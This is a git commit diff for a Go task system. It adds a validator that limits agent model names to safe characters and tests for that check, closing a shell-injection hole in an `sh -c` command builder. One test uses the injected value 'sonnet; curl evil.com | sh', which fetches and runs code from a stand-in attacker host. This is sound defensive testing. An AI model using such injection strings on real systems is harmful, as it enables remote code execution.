summaryrefslogtreecommitdiff
path: root/internal
diff options
context:
space:
mode:
Diffstat (limited to 'internal')
-rw-r--r--internal/task/validator.go11
-rw-r--r--internal/task/validator_test.go25
2 files changed, 36 insertions, 0 deletions
diff --git a/internal/task/validator.go b/internal/task/validator.go
index 09f4b34..03d3921 100644
--- a/internal/task/validator.go
+++ b/internal/task/validator.go
@@ -2,9 +2,16 @@ package task
import (
"fmt"
+ "regexp"
"strings"
)
+// modelPattern restricts Agent.Model to characters safe to concatenate into
+// the `sh -c` command executor.ContainerRunner.buildInnerCmd builds for the
+// claude CLI's --model flag. Real model names (e.g. "sonnet", "opus",
+// "claude-sonnet-4-6") only ever use this character set.
+var modelPattern = regexp.MustCompile(`^[A-Za-z0-9._-]+$`)
+
// ValidationError collects multiple validation failures.
type ValidationError struct {
Errors []string
@@ -55,6 +62,10 @@ func Validate(t *Task) error {
}
}
+ if t.Agent.Model != "" && !modelPattern.MatchString(t.Agent.Model) {
+ ve.Add(fmt.Sprintf("invalid model %q; must match %s", t.Agent.Model, modelPattern.String()))
+ }
+
if t.Agent.PermissionMode != "" {
validModes := map[string]bool{
"default": true, "acceptEdits": true, "bypassPermissions": true,
diff --git a/internal/task/validator_test.go b/internal/task/validator_test.go
index 2c6735c..2e088cf 100644
--- a/internal/task/validator_test.go
+++ b/internal/task/validator_test.go
@@ -98,6 +98,31 @@ func TestValidate_InvalidPermissionMode_ReturnsError(t *testing.T) {
}
}
+func TestValidate_InvalidModel_ReturnsError(t *testing.T) {
+ task := validTask()
+ // Shell metacharacters must be rejected -- Agent.Model is concatenated
+ // into a `sh -c` command string in executor.ContainerRunner.buildInnerCmd
+ // with no further escaping.
+ task.Agent.Model = "sonnet; curl evil.com | sh"
+ err := Validate(task)
+ if err == nil {
+ t.Fatal("expected error")
+ }
+ if !strings.Contains(err.Error(), "model") {
+ t.Errorf("expected model error, got: %v", err)
+ }
+}
+
+func TestValidate_ValidModel_NoError(t *testing.T) {
+ for _, m := range []string{"", "sonnet", "opus", "claude-sonnet-4-6", "claude-opus-4-1-20250805"} {
+ task := validTask()
+ task.Agent.Model = m
+ if err := Validate(task); err != nil {
+ t.Errorf("model %q: expected no error, got: %v", m, err)
+ }
+ }
+}
+
func TestValidate_MultipleErrors(t *testing.T) {
task := &Task{
Retry: RetryConfig{MaxAttempts: 0, Backoff: "bad"},